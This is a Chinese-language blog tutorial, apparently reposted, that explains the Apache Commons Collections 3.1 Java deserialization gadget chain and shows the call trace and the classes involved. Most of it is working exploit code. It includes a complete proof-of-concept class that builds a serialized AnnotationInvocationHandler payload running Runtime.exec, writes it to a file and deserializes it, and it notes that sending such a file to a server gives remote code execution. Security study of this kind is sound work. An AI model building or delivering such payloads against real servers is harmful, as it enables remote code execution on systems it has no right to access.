[java安全]CommonsCollections3.1

这篇具有很好参考价值的文章主要介绍了[java安全]CommonsCollections3.1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【java安全】CommonsCollections3.1

java开发过程中经常会用到一些库。Apache Commons Collections提供了很多的集合工具类。

很多项目会使用到该库,可以通过相关的调用链,触发Commons Colletions 反序列化RCE漏洞

接下来我们介绍一些重要的类

InvokerTransformer

这个InvokerTransformer类可以使用transform()方法使用反射机制调用任意函数

我们首先看一看构造方法:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

为参数赋初值

transform()方法

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            }
            ...
        }
    }

该方法会使用反射机制,将传入的对象input使用getClass()方法获取Class对象,然后使用getMethod()获取方法的Method对象,最后传参invoke()调用函数

那么我们就可以通过InvokerTransformer这么执行命令

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokerTransformerDemo {
    public static void main(String[] args) throws Exception {
        //Class runtimeClass=Class.forName("java.lang.Runtime");
        //Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
        //runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的类对象

        //借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
        Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
                String.class,Class[].class},new Object[] {
                "getRuntime",null
        }
        ).transform(runtimeClass);

        //借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
        Object runtime=new InvokerTransformer("invoke",new Class[] {
                Object.class,Object[].class},new Object[] {
                null,null
        }
        ).transform(m_getMethod);

        //借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
        Object exec=new InvokerTransformer("exec",new Class[] {
                String.class},new Object[] {
                "calc.exe"
        }
        ).transform(runtime);
    }
}

Runtime类的getRuntime()函数是静态方法,所以使用反射不需要传入对象,传个null即可

public static Runtime getRuntime() {
        return currentRuntime;
    }

ConstantTransformer

这个类的transform()方法很简单:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
public Object transform(Object input) {
        return this.iConstant;
    }

传入什么对象,就返回什么对象

ChainedTransformer

构造函数:

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

将传入的transformer数组赋值给 iTransformers 变量

再看transform()方法:(重点)

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

ChainedTransformer类的transform()方法会调用iTransformers数组中的每个Transform对象的transform()方法,并且会将前一个的返回值通过object变量传给后面一个

于是我们可以构造出新的链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class ReflectionChain {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

至此,我们漏洞利用条件是构造出含命令的ChainedTransformer对象,然后触发transform()方法

如何才能触发呢?

我们需要看看TransformedMap类的源码:

TransformedMap

TransformedMap类中,存在一个checkSetValue()方法,可以调用transform()方法:

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

我们可以通过创建TransformMap对象来调用该方法,但是如何创建对象呢?

我们可以使用decorate()静态方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

于是,我们可以将构造的链子传入TransformedMap对象中:

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

如何触发checkSetValue()方法?

Map是java的接口,

Map.entrySet()的返回值是一个Set集合,此集合的类型是Map.Entry

我们发现TransformedMap类的父类是AbstractInputCheckedMapDecorator

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable

但是AbstractInputCheckedMapDecorator类中存在setValue()方法,可以调用checkSetValue()

static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }
    }

根据继承和多态,我们知道TransformedMap类中也有setValue()方法

我们可以对outmap对象如下操作就可触发命令执行:

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

但是目前漏洞的触发还需要调用setValue()方法,我们需要实现带有readObject()方法的类调用setValue()方法,这样就可以实现反序列化RCE了

这里需要用到AnnotationInvocationHandler类:

AnnotationInvocationHandler

AnnotationInvocationHandler类的readObject()方法对memberValues.entrySet()的每一项调用了setValue()方法

[java安全]CommonsCollections3.1,java,安全,开发语言

构造函数:

[java安全]CommonsCollections3.1,java,安全,开发语言

这里先直接给出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是

Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X

  1. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素

poc

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonCollections11 {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

最后生成的temp.bin只需要通过某种途径传递给服务端使其反序列化就可RCE

利用链

[java安全]CommonsCollections3.1,java,安全,开发语言

以上利用方法在jdk1.7有效,不过ysoserial中也有jdk1.8的利用方式

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

[java安全]CommonsCollections3.1,java,安全,开发语言

CC链学习-上 - 先知社区 (aliyun.com)

Java反序列化漏洞原理解析 - 先知社区 (aliyun.com)文章来源地址https://www.toymoban.com/news/detail-567613.html

到了这里,关于[java安全]CommonsCollections3.1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • go语言从0基础到安全项目开发实战

    搭建环境比较简单 到以下链接下 Go下载 - Go语言中文网 - Golang中文社区 下载windows版本64位zip包 https://studygolang.com/dl/golang/go1.20.7.windows-amd64.zip 不配置的话就只能在bin目录下才能运行go命令 创建test.go文件 然后代码如下 编译运行  两种方式编译运行代码 1.先 go build test.go编译成

    2024年02月13日
    浏览(47)
  • 开发语言漫谈-Java

            由于C++过于复杂,Java诞生了。与C++相比,Java更易于学习和使用,它去掉C++中的指针和解决了内存管理问题。Java提供了垃圾自动回收机制,自动管理不再使用的内存。Python又进一步简化,使得语法更简洁,更易于阅读和编写。当然随着简化,性能就越来越低。    

    2024年04月10日
    浏览(49)
  • JAVA开发(从安全角度学习)

     web.xml(第二种配置路由的方式) 使用预编译写法可以有效防止sql注入。 Filter 被称为过滤器,过滤器实际上就是对 Web 资源进行拦截,做一些处理后再交给下一个过滤器或 Servlet 处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用

    2024年03月18日
    浏览(41)
  • 阿里Java开发手册~安全规约

    1. 【强制】隶属于用户个人的页面或者功能必须进行权限控制校验。 说明: 防止没有做水平权限校验就可随意访问、修改、删除别人的数据,比如查看他人的私信 内容、修改他人的订单。 2. 【强制】用户敏感数据禁止直接展示,必须对展示数据进行脱敏。 说明: 查看个人

    2024年02月15日
    浏览(47)
  • Java安全 URLDNS链分析,网络安全开发面试基础

    this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员 那我们去 URLStreamHandler类 当中,查看下 hashCode方法 的代码 protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host pa

    2024年04月23日
    浏览(37)
  • 第七十七篇:车辆安全-车载软件C++语言开发指南(AUTOSAR C++)

    C++是面向对象的编程,比C语言更加复杂,抽象程度高,但C++在一些图像处理、系统、控件的编程方面,实用性更强,具有自己的编程优势。在车载嵌入式系统的开发中,C和C++都具有重要的作用。C++语言所使用的面向对象的编程技术如封装、继承和多态性极大的提高了在大规

    2024年02月04日
    浏览(86)
  • 网络安全|渗透测试入门学习,从零基础入门到精通—渗透中的开发语言

    目录 前面的话 开发语言 1、html 解析 2、JavaScript 用法 3、JAVA   特性 4、PHP 作用 PHP 能做什么? 5、C/C++ 使用 如何学习 关于在渗透中需要学习的语言第一点个人认为就是可以打一下HTML,JS那些基础知识,磨刀不误砍柴工。其次,了解基本的代码后,就可以去学习相关的漏洞知

    2024年02月09日
    浏览(52)
  • 瑞_Java开发手册_(四)安全规约

    🙊前言:本文章为瑞_系列专栏之《Java开发手册》的安全规约篇。由于博主是从阿里的《Java开发手册》学习到Java的编程规约,所以本系列专栏主要以这本书进行讲解和拓展,有需要的小伙伴可以点击链接下载。本文仅供大家交流、学习及研究使用,禁止用于商业用途,违者

    2024年01月17日
    浏览(48)
  • 码出高效:Java开发手册笔记(线程安全)

        并发与并行的目标都是尽可能快地执行完所有任务。以医生坐诊为例,某个科室有两个专家同时出诊,这就是两个并行任务,其中一个医生,时而问诊,时而查看化验单,然后继续问诊,突然又中断去处理病人的咨询,这就是并发。在并发环境下,由于程序的封闭性全

    2024年02月08日
    浏览(39)
  • 阿里巴巴Java开发 单元测试和安全规约

    目录 前言 1.单元测试 2.安全规约 单元测试和安全规约依次分为【 重要 】、【 建议 】、【 参考 】,整理单元测试和安全规约为了更好处理代码中bug,使得代码更加安全。 1.【 重要 】好的单元测试必须遵守 AIR 原则。          说明 :单元测试在线上运行时,感觉像空气

    2024年04月10日
    浏览(57)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包